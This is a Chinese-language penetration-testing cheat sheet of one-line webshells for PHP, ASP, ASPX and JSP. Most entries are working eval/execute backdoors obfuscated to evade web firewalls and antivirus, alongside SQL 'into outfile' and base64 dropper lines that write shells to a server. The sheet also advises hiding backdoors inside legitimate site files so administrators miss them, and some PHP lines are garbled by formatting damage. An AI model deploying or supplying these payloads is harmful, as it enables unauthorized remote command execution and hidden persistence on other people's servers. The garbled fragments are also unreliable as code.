渗透干货|一句话木马
目录
PHP
普通一句话
PHP系列
过狗一句话
PHP过狗
几个变性的php--过防火墙
phpv9 高版本拿shellASP
asp
一句话
ASP过安全狗一句话
ASPX系列
aspx
一句话JSP
过护卫神的
插入一句话容易爆错
一句话木马到两句话木马的转型!
一句话免杀:
一:变形法
支持变异菜刀连接以过安全狗,过啊D 文件扫描的一句话
ASP
ASP
ASPX
PHP
<pre> <body><? @system($_GET["cc"]); ?></body> </pre>
//可执行命令一句话
普通一句话
<?php eval($_POST[cc123]) ?>
<?php @eval($_POST['cc123']);?>
PHP系列
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xindong"]); ?>
<?php $lang = (string)key($_POST);$lang($_POST['xindong']);?>
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['xindong']);?>
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["xindong"]); ?>
<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> 密码是 -7
过狗一句话
select '<?php @eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
<?php $_=""; $_[+$_]++; $_=$_.""; $___=$_[+""];//A $____=$___; $____++;//B $_____=$____; $_____++;//C $______=$_____; $______++;//D $_______=$______; $_______++;//E $________=$_______; $________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O $_________=$________; $_________++;$_________++;$_________++;$_________++;//S $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++;$________++;$________++;//R $_____=$_________; $_____++;//T $__=$___.$_________.$_________.$_______.$________.$_____; $__($_("ZXZhbCgkX1BPU1RbMV0p")); ?> <?php $_REQUEST['a']($_REQUEST['b']); ?> <?php $t=$_GET['t']; $tt=$_GET['tt']; $s=t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=t.$ttt; $s($_REQUEST['cc']);?> <?php $t=$_GET['t']; //t=tt $tt=$_GET['tt']; //tt=as $ttt=$_GET['ttt']; //ttt=s $tttt=$_GET['tttt']; //ttt=ert $s=t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=t.ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=a.d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=b; $d($_REQUEST['cc']); ?>PHP过狗<?php if($_POST[x]!=''){$a="base64_decode"; eval($a($_POST[z0]));}?> 密码:x<%a=request(“gold”)%><%eval a%>
fuck<?phpeval($_POST[a])?>
<?php $a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]); $b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]); ?> 密码 4该日志目录不存在或权限不足,请检查设置!<?phpeval($_POST[a])?>
几个变性的php–过防火墙
过狗效果都不错:
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['sz']); ?> <?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?> <?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?>这个是90发的<?php
@$_=“s”.“s”./-/-/“e”./-/-/“r”;
@= / ∗ − / ∗ − ∗ / " a " . / ∗ − / ∗ − ∗ / _=/*-/*-*/"a"./*-/*-*/ =
/∗−/∗−∗/"a"./∗−/∗−∗/_./-/-*/“t”;
@/ ∗ − / ∗ − ∗ / ( _/*-/*-*/( /
∗−/∗−∗/(/-/-/{"_P"./-/-/“OS”./-/-*/“T”}
[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]);?>
密码-7
phpv9 高版本拿shell
<?php file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+')); ?>…/…/…/…/html/special/cc/index
ASP
asp 一句话
<%execute(request(“cmd”))%><%execute request(“1”)%>ASP一句话16进制:┼攠數畣整爠煥敵瑳∨≡┩愾 密码a"%><%Eval(Request(chr(112)))%><%’ p
<%Y=request(“xindong”)%> <%execute(Y)%>
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“xindong”))%>
<%eval""&(“e”&“v”&“a”&“l”&"("&“r”&“e”&“q”&“u”&“e”&“s”&“t”&"("&“0”&"-"&“2”&"-"&“5”&")"&")")%>(密码是-7)
ASP过安全狗一句话
密码(pass)
<% %>
<%a=request(“zl”)%><%eval a%>
ASPX系列
ASPX一句话的 过安全狗效果不怎么样
不过我认为能支持aspx 百分之8/90支持asp
<%@ Page Language = Jscript %><%var/-/-/P/-/-/=/-/-/“e”+“v”+/-/-/“a”+“l”+"("+“R”+“e”+/-/-/“q”+“u”+“e”/-/-/+“s”+“t”+“[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]”+“,”+"""+“u”+“n”+“s”/-/-/+“a”+“f”+“e”+"""+")";eval(/-/-/P/-/-/,/-/-/“u”+“n”+“s”/-/-/+“a”+“f”+“e”/-/-/);%> 密码 -7
<%@ Page Language=“Jscript”%><%eval(Request.Item[“xindong”],“unsafe”);%>
密码是webadmin
aspx一句话
<%@ Page Language=“Jscript” validateRequest=“false” %><%Response.Write(eval(Request.Item[“w”],“unsafe”));%>
JSP
<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
select ‘<?php eval($_POST[cmd];?>’ into outfile ‘C:/Inetpub/wwwroot/mysql-php/1.php’
过护卫神的
<%E=request(“1”)%>abc
123456789<%execute E%>
原来代码是<%execute request(“cmd”)%> 把标签修改替换下来 为
<scriptlanguage=VBScript runat=server>execute request(“cmd”) 这样就避开了<%,%>符号!
表中数据段限制,一句话木马也写不下的情况
网络中流传的最小的木马代码是<%eval request("#")%> 如过连这也写不下怎么办?
将木马分开写就好了!<%Y=request(“x”)%> <%execute(Y)%> 这样分开写提交到数据库就没问题了!
不过,在ACCESS数据库中新增加的数据物理位置是在旧数据之前的,所以要先写<%execute(Y)%>部分。写好后在客户端写密码时除了填写"x"以外的任何字符都可以,如果填了"x"就会出错!
插入一句话容易爆错
例如
Sub unlockPost()
Dim id,replyid,rs,posttable
id=Request(“id”)
replyid=Request(“replyid”)
If Not IsNumeric(id) or id="" Then
写成
Sub unlockPost(<%eval request("#")%>)
Dim id,replyid,rs,posttable
id=Request(“id”)
replyid=Request(“replyid”)
If Not IsNumeric(id) or id="" Then
就可以了,也可以写成带容错语句的格式!!
<%if request(“cmd”)<>""then execute request(“cmd”)%>
一句话木马到两句话木马的转型!
一句话木马服务端原型:<%execute request(“value”)%> ,
变形后:<%On Error Resume Next execute request(“value”)%> ,
至于为什么要用两句话木马呢,是由于使我们的后门更加隐蔽.
我也试过用一句话插入WellShell的某个ASP文件里面,可是访问时经常出错,而插入两句话木马服务端却可以正常访问了,对站点的页面无任何影响.
这样就达到了隐蔽性更强的目的了,他管理员总不会连自己的网页文件都删了吧.
现在我的WellShell都有这样的后门.选择要插入两句话木马的ASP文件要注意,选一些可以用IE访问的ASP文件,不要选conn.asp这样的文件来插入.
当然,连接两句话木马的客户端仍然是用一句木马的客户端,不用修改.
一句话免杀:
一:变形法
比如:eval(request("#"))这样的马儿呢,一般情况下是不被杀的。但实际上,经常杀毒软件会把eval(request列为特征码。所以我们变形一下
E=request(“id”)
eval(E)
这样可达到免杀的目的。
例如:<%execute request(“1”)%> 变形后:
<%E=request(“1”)
execute E%>
当然,这种变形是最好做的。
介绍第二种方法:因为很多管理员很聪明,它会检查ASP文件中的execute和eval函数。所以呢,不管你怎么反编译,它最终总是要用其中的一个函数来解释运行,所以还是被发现了。好么,我们用外部文件来调用。建一个a.jpg或者任何不被发现的文件后缀或文件名。写入 execute(request("#"))当然,你可以先变形后现放上去。然后在ASP文件中插入
来引用它,即可。
不过,管理员可以通过对比文件的方式找到修改过的文件,不过这种情况不多。
在WEBSHeLL中使用命令提示
在使用ASP站长助手6.0时点击命令提示符显示“没有权限”的时候,可以使用ASP站长助手上传CMD.exe到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来),再修改你的WEBSHELL找到调用CMD.EXE的代码。原来的代码如下
.exec("cmd.exe /c "&DefCmd).stdout.readall
修改为
.exec(“你想上传的cmd.exe绝对路径” /c"&DefCmd).stdout.readall
比如你上传到的目录是D:\web\www\cmd.exe,那么就修改成
.exec(“D:\web\www\cmd.exe /c”&DefCmd).stdout.readall
支持变异菜刀连接以过安全狗,过啊D 文件扫描的一句话
实已经不是一句话了,好几句了都。
继续上次的:我使用的一句话的几种姿态
这回研究了下PHP,发一下我使用的一句话(可过文件扫描)。
ASP
<?php $mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("\$safedg = $xsser;"); } ?>
密码z,支持菜刀连接;支持变异菜刀连接以过安全狗。
另外:
ASP
<% Function MorfiCoder(Code) MorfiCoder=Replace(Replace(StrReverse(Code),"//",""""),"*",vbCrlf)End FunctionExecute MorfiCoder(")//z/*/(tseuqer lave") %>
ASPX
<% popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0=")))); %>